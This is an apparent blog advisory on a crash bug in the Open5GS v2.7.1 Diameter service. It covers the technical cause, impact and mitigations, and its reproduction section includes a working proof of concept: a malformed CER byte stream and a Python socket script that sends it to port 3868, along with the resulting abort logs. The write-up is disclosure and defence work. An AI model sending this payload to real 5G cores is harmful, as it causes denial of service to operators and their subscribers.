Open5GS Diameter Crash: CER Packet Vulnerability

Nov 13, 2025 by Alex Johnson 49 views

Open5GS Diameter Service Crash: A Deep Dive into the Malformed CER Packet Vulnerability

In the realm of 5G core network infrastructure, Open5GS stands out as a prominent open-source implementation. However, like any complex system, it is susceptible to vulnerabilities that can compromise its stability and security. This article delves into a critical bug discovered in Open5GS, specifically affecting the Diameter service, which can be exploited using a malformed CER (Capabilities-Exchange-Request) packet. We will explore the technical details of the vulnerability, its potential impact, and the steps to reproduce and mitigate it. Our focus is to provide a comprehensive understanding of the issue, ensuring that network engineers and security professionals are well-equipped to address this challenge. The vulnerability, identified in Open5GS version v2.7.1, stems from the way the system handles malformed CER packets. When a carefully crafted, malformed CER packet is sent to the Open5GS Diameter listener, it triggers a fatal error within the freeDiameter stack, leading to an abrupt termination of the Open5GS daemon. This crash occurs due to an unhandled branch in the parserules_check_one_rule() function, which is responsible for parsing Diameter rules. The unexpected input causes the system to enter an unimplemented error state, resulting in a call to abort(). The implications of this vulnerability are significant. A remote attacker can potentially exploit this issue by sending a single malformed CER packet, causing a denial-of-service (DoS) condition. This can disrupt network services and impact the availability of critical applications that rely on the Open5GS core network.

Understanding the Technical Details

To fully grasp the severity of this vulnerability, it's essential to dissect the technical aspects. The issue resides within the interaction between Open5GS and the freeDiameter library, which is responsible for handling Diameter signaling. Diameter is a crucial protocol for authentication, authorization, and accounting (AAA) in modern telecommunications networks. The CER packet, in particular, is used to establish a Diameter connection between network elements. The vulnerability arises when the freeDiameter stack encounters a malformed CER packet that violates the expected structure or content. In Open5GS v2.7.1, the parsing logic within the parserules_check_one_rule() function fails to adequately handle such malformed packets. Instead of gracefully rejecting the packet and logging an error, the system enters an unrecoverable state, triggering the abort() function. This abrupt termination is a clear indication of a critical flaw in the error handling mechanism. The provided PoC (Proof of Concept) code demonstrates how a minimal malformed CER packet can be crafted and sent to the Open5GS Diameter listener. The byte stream represents a carefully constructed packet that violates Diameter protocol specifications. When Open5GS attempts to parse this packet, it encounters the unhandled error branch, leading to the crash. The backtrace from the logs further confirms that the execution flow reaches the problematic parserules_check_one_rule() function, ultimately resulting in the abortion of the process. This detailed technical analysis underscores the importance of robust input validation and error handling in network protocols. The failure to properly handle malformed packets can have severe consequences, as demonstrated by this Open5GS vulnerability. A well-designed system should be able to detect and reject invalid input without crashing, ensuring the stability and reliability of the network.

Reproducing the Vulnerability

Reproducing the vulnerability is crucial for understanding its impact and developing effective mitigation strategies. The steps outlined below provide a clear and concise guide to trigger the crash in a controlled environment. This process is essential for security researchers, network administrators, and developers who need to verify the vulnerability and test potential fixes.

Setting up the Environment

Operating System: Use a supported operating system such as Ubuntu 20.04 or 22.04, or any equivalent Linux distribution.
Open5GS Version: Ensure you have Open5GS v2.7.1 installed. This is the affected version where the vulnerability has been identified. Compile and install Open5GS according to the official documentation.
freeDiameter Libraries: Verify that the freeDiameter libraries used by Open5GS are either the bundled version or a compatible system-installed version.
Network Setup: Ensure that the Diameter service is listening on the configured port (typically 3868) using either SCTP or TCP, as per your Open5GS configuration.
Open5GS Processes: Confirm that the relevant Open5GS processes that load freeDiameter are running. This typically includes processes responsible for handling Diameter signaling.

Steps to Reproduce

Prepare the Malformed CER Packet: Use the provided minimal PoC (binary bytes) to create the malformed CER packet. This byte stream is specifically crafted to trigger the vulnerability.

byte_stream = b'\x01\x00\x00\xd8\x80\x00\x01\x01\x00\x00\x00\x00}\xe15\\t\xf70G\x00\x00\x01\x08@\x00\x00\x17mme.localdomain\x00\x00\x00\x01(@\x00\x00\x13localdomain\x00\x00\x00\x01\x16@\x00\x00\x0ci\x03`\x9f\x00\x00\x01\x01@\x00\x00\x0e\x00\x01\x7f\x00\x00\x02\x00\x00\x00\x00\x01\n@\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x01\r\x00\x00\x00\x14freediameter\x00\x00\x01\x0b\x00\x00\x00\x0c\x00\x00)\x04\x00\x00\x01+@\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x01\x04@\x00\x00 \x00\x00\x01\x02@\x00\x00\x0c\x01\x00\x00#\x00\x00\x01\x02@\x00\x00\x0c\x00\x00(\xaf\x00\x00\x01\t@\x00\x00\x0c\x00\x00\x15\x9f\x00\x00\x01\t@\x00\x00\x0c\x00\x00(\xaf\x00\x00\x01\t@\x00\x00\x0c\x00\x002\xdb'

Send the Packet: Use a scripting language like Python to send the malformed CER packet to the Open5GS Diameter listener. This can be done via a local TCP/SCTP connection to avoid affecting production networks.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("OPEN5GS_HOST_IP", 3868))
s.send(byte_stream)
s.close()

Replace OPEN5GS_HOST_IP with the IP address where Open5GS is running.

Observe the Crash: Monitor the Open5GS processes. You should observe that the Open5GS daemon aborts (SIGABRT) and the process crashes shortly after sending the malformed packet.

Capturing Artifacts

To aid in analysis and debugging, capture the following artifacts:

Network Traffic Capture: Use tools like tcpdump or Wireshark to capture network traffic. This can help verify that the malformed packet was sent and received.
Open5GS Logs: Examine the Open5GS logs for error messages and traces. The logs should indicate the fatal error and the call to abort().
Core Dump: If core dumps are enabled on your system, a core dump file may be generated when the process crashes. This file can be used for detailed debugging with tools like GDB.

Expected Outcome

After sending the malformed CER packet, the Open5GS daemon should crash, and the logs should contain messages similar to the following:

11/13 20:17:35.867: [diam] FATAL: pid:Worker#4[SCTP] in parserules_check_one_rule@messages.c:2524: TODO: Improve...
11/13 20:17:35.867: [diam] FATAL: diam_log_func: should not be reached. (../lib/diameter/common/init.c:149)
11/13 20:17:35.867: [core] FATAL: backtrace() returned 11 addresses (../lib/core/ogs-abort.c:37)
.../libogsdiameter-common.so.2(+0xaf00) [0x...]
.../libfdproto.so.7(fd_log+0x148) [0x...]
.../libfdproto.so.7(fd_dict_iterate_rules+0x43e) [0x...]
.../libfdproto.so.7(fd_msg_parse_rules+0x108) [0x...]
.../libfdcore.so.7(+0x75d8b) [0x...]
Aborted

The trace indicates that the execution reached an unimplemented/unrecoverable branch in parserules_check_one_rule(), leading to the abort() call.

By following these steps, you can reliably reproduce the vulnerability in a controlled environment, enabling further analysis and the development of effective mitigation strategies.

Impact Assessment

The impact of this vulnerability on Open5GS deployments can be significant, primarily due to the potential for denial-of-service (DoS) attacks. A successful exploit can lead to the immediate termination of the Open5GS worker process, disrupting critical network services. This section delves into the potential consequences of this vulnerability and its implications for network operators and users.

Denial of Service (DoS)

The most immediate and concerning impact of this vulnerability is the possibility of a DoS attack. An attacker can send a single, carefully crafted malformed CER packet to the Open5GS Diameter listener, causing the worker process to crash. This crash effectively disrupts the Diameter service, which is essential for various network functions, including authentication, authorization, and accounting. The DoS condition can lead to service outages, preventing users from accessing network resources and impacting the overall network availability. The ease with which this vulnerability can be exploited makes it particularly dangerous. A remote attacker does not need any special privileges or credentials to trigger the crash. Simply sending the malformed packet is sufficient to bring down the service. This low barrier to entry increases the risk of exploitation and makes it imperative to implement appropriate mitigation measures.

Network Instability

The crashing of the Open5GS worker process can lead to broader network instability. Diameter signaling is crucial for maintaining the state of network connections and sessions. When the Diameter service is disrupted, existing connections may be dropped, and new connections may fail to establish. This can result in a cascading effect, where the initial crash leads to further disruptions and performance degradation across the network. For example, if the Diameter service is responsible for authenticating users, a crash can prevent new users from accessing the network. Similarly, if the service is involved in session management, ongoing sessions may be terminated abruptly, leading to a poor user experience. The instability caused by this vulnerability can also complicate troubleshooting and recovery efforts. Network operators may need to restart multiple services and devices to restore normal operation, increasing the downtime and the cost of recovery.

Security Implications

While the primary impact of this vulnerability is a DoS condition, it also has broader security implications. The ability to crash a network service by sending a malformed packet highlights a weakness in the system's input validation and error handling mechanisms. This weakness can potentially be exploited in other ways, either by the same attacker or by others who discover the vulnerability. For instance, if the vulnerability is part of a larger chain of exploits, an attacker may use it as a stepping stone to gain further access to the network or to compromise other services. Additionally, the crash itself can expose sensitive information. If core dumps are enabled, the crash may generate a core dump file that contains memory snapshots of the Open5GS process. This file could potentially contain sensitive data, such as cryptographic keys or user credentials, which could be valuable to an attacker. Therefore, it is essential to address this vulnerability not only to prevent DoS attacks but also to improve the overall security posture of the Open5GS deployment.

Business Impact

The business impact of this vulnerability can be significant, particularly for network operators and service providers who rely on Open5GS for their core network infrastructure. Service outages caused by DoS attacks can result in lost revenue, damaged reputation, and customer dissatisfaction. In today's competitive market, network availability and reliability are critical factors for customer retention and acquisition. A prolonged outage can lead to customers switching to alternative providers, resulting in long-term financial losses. The cost of incident response and recovery can also be substantial. Network operators may need to dedicate significant resources to investigate the cause of the crash, implement mitigation measures, and restore normal operation. This can involve overtime pay for staff, the cost of external consultants, and the expense of deploying emergency patches or upgrades. Furthermore, the publicity surrounding a security incident can damage an organization's reputation. Customers may lose trust in the provider's ability to secure their network and services, leading to further business losses. Therefore, addressing this vulnerability is not only a technical imperative but also a critical business decision.

Mitigation Strategies

To effectively mitigate the risks associated with this Open5GS vulnerability, it's crucial to implement a multi-faceted approach. This involves not only patching the affected software but also implementing robust security practices and network monitoring strategies. This section outlines several key mitigation strategies that can help protect Open5GS deployments from exploitation.

Patching and Upgrading

The most direct and effective way to address this vulnerability is to apply the latest patches and updates provided by the Open5GS project. The Open5GS team is typically responsive to security issues and releases patches to address known vulnerabilities. It is imperative to stay informed about security advisories and promptly apply any available patches. Upgrading to a newer version of Open5GS that includes the fix is also a recommended approach. Newer versions often incorporate not only bug fixes but also security enhancements and performance improvements. Before applying any patches or upgrades, it is crucial to thoroughly test them in a non-production environment. This ensures that the fixes do not introduce any new issues or compatibility problems. A well-planned testing strategy can minimize the risk of disrupting production services during the patching process.

Input Validation and Filtering

Implementing robust input validation and filtering mechanisms is a critical defense against malformed packets and other types of attacks. In the context of Diameter signaling, this involves carefully scrutinizing incoming CER packets and rejecting any packets that do not conform to the expected format or content. This can be achieved by implementing strict parsing rules and validating the various fields within the Diameter message. For example, the length of certain fields, the presence of mandatory attributes, and the values of specific parameters can be checked against predefined rules. Any deviation from these rules should be considered a potential threat, and the packet should be rejected. Network firewalls and intrusion detection systems (IDS) can also be configured to filter out malformed Diameter packets. These devices can inspect network traffic and identify packets that match known attack patterns or violate protocol specifications. By filtering out malicious traffic before it reaches the Open5GS core network, the risk of exploitation can be significantly reduced.

Rate Limiting

Rate limiting is another essential mitigation technique that can help prevent DoS attacks. By limiting the number of CER packets that can be processed within a given time frame, the impact of a flood of malformed packets can be minimized. Rate limiting can be implemented at various levels, including the network infrastructure, the Open5GS Diameter service, and the freeDiameter library. Network devices such as load balancers and firewalls can be configured to limit the rate of incoming traffic. This can help prevent an attacker from overwhelming the network with malicious requests. Within the Open5GS Diameter service, rate limiting can be implemented by configuring the maximum number of CER packets that can be processed per second or per minute. This prevents a single attacker from consuming all available resources and crashing the service. The freeDiameter library also provides mechanisms for rate limiting, which can be used to control the processing of Diameter messages at a lower level. By combining rate limiting at multiple levels, a robust defense against DoS attacks can be achieved.

Network Segmentation

Network segmentation involves dividing the network into smaller, isolated segments. This can help contain the impact of a security breach and prevent an attacker from gaining access to critical resources. In the context of Open5GS deployments, network segmentation can be used to isolate the Diameter signaling infrastructure from other parts of the network. For example, the Open5GS core network can be placed in a separate segment, with strict access controls and monitoring. This prevents an attacker who has compromised another part of the network from directly accessing the Diameter service. Network segmentation can also be used to isolate different network functions. For instance, the authentication, authorization, and accounting services can be placed in separate segments, each with its own security policies and controls. This limits the potential damage that an attacker can cause if they manage to compromise one of these services. Implementing network segmentation requires careful planning and configuration, but it can significantly improve the overall security posture of the Open5GS deployment.

Monitoring and Logging

Continuous monitoring and logging are essential for detecting and responding to security incidents. By monitoring network traffic, system logs, and application behavior, anomalies and suspicious activity can be identified. This allows security personnel to quickly detect and respond to attacks, minimizing the potential damage. In the context of this Open5GS vulnerability, monitoring the rate of CER packets and the occurrence of error messages in the logs can help detect an ongoing attack. A sudden increase in malformed CER packets or frequent crashes of the Diameter service should trigger an alert and prompt further investigation. Log files should be regularly reviewed for suspicious activity. This includes looking for error messages, unusual patterns of network traffic, and unauthorized access attempts. Security information and event management (SIEM) systems can be used to automate the collection and analysis of log data. These systems can correlate events from multiple sources and identify potential security threats. By implementing a comprehensive monitoring and logging strategy, network operators can improve their ability to detect and respond to security incidents, protecting their Open5GS deployments from exploitation.

Conclusion

The vulnerability in Open5GS's Diameter service, triggered by malformed CER packets, poses a significant risk to network stability and security. The potential for denial-of-service attacks underscores the importance of implementing robust mitigation strategies. Patching the software, validating input, limiting rates, segmenting the network, and monitoring logs are crucial steps in safeguarding Open5GS deployments. Understanding the technical details of the vulnerability, as well as the potential impact and mitigation techniques, is essential for network engineers and security professionals. By taking a proactive approach to security, organizations can protect their networks and ensure the reliability of their services.

For further information on network security best practices, visit OWASP.